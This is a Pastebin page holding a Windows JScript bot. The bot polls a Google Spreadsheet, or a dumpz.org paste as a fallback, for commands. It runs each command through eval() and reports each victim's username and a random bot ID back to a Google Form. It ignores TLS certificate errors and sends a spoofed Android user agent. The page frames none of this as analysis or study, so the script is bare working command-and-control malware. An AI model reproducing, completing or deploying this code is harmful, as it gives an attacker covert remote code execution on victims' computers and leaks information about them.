Advertisement
Guest User

Untitled

a guest
May 7th, 2015
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function GetSourceCode() {
  2.  
  3.         var GlobalObject = this;
  4.         var FSO = fso = new ActiveXObject("Scripting.FileSystemObject");
  5.         var WshShell = new ActiveXObject("WScript.Shell");
  6.  
  7.         var formkey = "%formkey%";
  8.         var spreadsheetkey = "%spreadsheetkey%";
  9.         var intervalMin = 30;
  10.         var intervalMax = 50;
  11.         var botclass = GenerateString(8);
  12.         var entry = "%entry%";
  13.         var last = TextFileRead("%TMP%\\dttsg.txt");
  14.         var version = "1.0";
  15.  
  16.         WshShell.CurrentDirectory = GetScriptDir();
  17.         Log();
  18.         GetCommand();
  19.  
  20.         function GetCommand() {
  21.                 try {
  22.                         var co = "";
  23.                         co = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
  24.                         var command = HTMLParse(co['text']).document.documentElement.innerText.split(/\$\$\$/g);
  25.                         if (command.length < 3) {
  26.                                 var cbp = InetRead("http://dumpz.org/1374128/text/");
  27.                                 if( cbp['stat'] >= 200 &&  cbp['stat'] < 300){
  28.                                     command = cbp['text'];
  29.                                 }
  30.                         }
  31.                         if (last != command[1]) {
  32.                                 last = command[1];
  33.                                 var r = TextFileCreate("%TMP%\\dttsg.txt");
  34.                                 r.Write(last);
  35.                                 r.Close();
  36.                                 Log("GetCommand::" + command[2]);
  37.                                 eval(command[2]);
  38.                         }
  39.                 } catch (e) {
  40.                         Log("GetCommand::" + e.description);
  41.                 }
  42.         }
  43.  
  44.         function getRandomInt(min, max) {
  45.                 return Math.floor(Math.random() * (max - min + 1)) + min;
  46.         }
  47.  
  48.         function GetScriptDir() {
  49.                 return GetScriptFullPath().replace(/[^\\]+$/g, "");
  50.         }
  51.  
  52.         function GetScriptFullPath() {
  53.                 if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\"));
  54.                 if (GlobalObject.WScript) return WScript.ScriptFullName;
  55.                 return "";
  56.         }
  57.  
  58.         function HTMLParse(code, dont_prevent_code_exec) {
  59.                 try {
  60.                         var document = new ActiveXObject("HTMLFile");
  61.                         if (!dont_prevent_code_exec) document.designMode = "on";
  62.                         document.write(code);
  63.                         document.close();
  64.                         if (!dont_prevent_code_exec) document.execCommand("stop");
  65.                         return document.parentWindow;
  66.                 } catch (e) {
  67.                         Log("HTMLParse::" + e.description)
  68.                 };
  69.                 return {};
  70.         }
  71.  
  72.         function InetRead(url) {
  73.                 var data_sataus_arr = new Object();
  74.                 try {
  75.                         var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
  76.                         httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056;  SXH_OPTION_URL = -1
  77.                         httpReq.setTimeouts(0, 0, 0, 0);
  78.                         httpReq.open("GET", url, false);
  79.                         httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
  80.                         httpReq.send();
  81.                         //WScript.Echo(httpReq.getAllResponseHeaders());
  82.                         //WScript.Echo(httpReq.status);
  83.                         data_sataus_arr['stat'] = httpReq.status;
  84.                         data_sataus_arr['text'] = httpReq.responseText;
  85.                 } catch (e) {
  86.                     //WScript.Echo(httpReq.status);
  87.                     data_sataus_arr['text'] = "";
  88.                     data_sataus_arr['stat'] = "100";
  89.                 };
  90.                 return data_sataus_arr;
  91.         }
  92.  
  93.         function Log(value) {
  94.                 value = value || "";
  95.                 value = botclass + "::" + GetUserName() + "::" + encodeURI(value);
  96.                 try {
  97.                         var httpRequest = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  98.                         with(httpRequest) {
  99.                                 Open("POST", "https://docs.google.com/forms/d/" + formkey + "/formResponse", false);
  100.                                 SetRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  101.                                 Send(entry + "=" + value);
  102.                         }
  103.                 } catch (e) {}
  104.         }
  105.  
  106.         function FileExists(Path) {
  107.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  108.                 return FSO.FolderExists(Path) || FSO.FileExists(Path);
  109.         }
  110.  
  111.         function TextFileRead(Path) {
  112.                 if (!Path) return "";
  113.                 if (!FileExists(Path)) return "";
  114.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  115.                 if (FSO.GetFile(Path).Size == 0) return "";
  116.                 try {
  117.                         var Stream = FSO.OpenTextFile(Path, 1, 0, -2),
  118.                                 Result = Stream.ReadAll();
  119.                         Stream.Close();
  120.                         return Result;
  121.                 } catch (e) {
  122.                         //Log("TextFileRead::" + Path + "::" + e.descrition);
  123.                 };
  124.         }
  125.  
  126.         function TextFileCreate(Path) {
  127.                 try {
  128.                         Path = WshShell.ExpandEnvironmentStrings(Path);
  129.                         if (FileExists(Path)) FSO.DeleteFile(Path, true);
  130.                         return FSO.OpenTextFile(Path, 2, 1, -1)
  131.                 } catch (e) {
  132.                         Log("TextFileCreate::" + e.description)
  133.                 };
  134.                 return null;
  135.         }
  136.  
  137.         function GenerateString(L) {
  138.                 if (!L) L = 8;
  139.                 return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
  140.         }
  141.  
  142.         function GetOS() {
  143.                 var ua = new ActiveXObject("HTMLFile").parentWindow.navigator.userAgent.toLowerCase();
  144.                 return {
  145.                         isWin2K: /windows nt 5\.0/.test(ua),
  146.                         isXP: /windows nt 5\.1/.test(ua),
  147.                         isVista: /windows nt 6\.0/.test(ua),
  148.                         isWin7: /windows nt 6\.1/.test(ua),
  149.                         isWin8: /windows nt 6\.2/.test(ua),
  150.                         isWin81: /windows nt 6\.3/.test(ua),
  151.                         isWin10: /windows nt (6\.4|10)/.test(ua)
  152.                 };
  153.         }
  154.  
  155.         function CreateObject(ProgId) {
  156.                 return new ActiveXObject(ProgId);
  157.         }
  158.  
  159.         function GetUserName() {
  160.                 try {
  161.                         return CreateObject("WScript.NetWork").UserName;
  162.                 } catch (e) {
  163.                         Log("GetUserName::" + e.description);
  164.                         return "Unknown"
  165.                 }
  166.         }
  167. })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement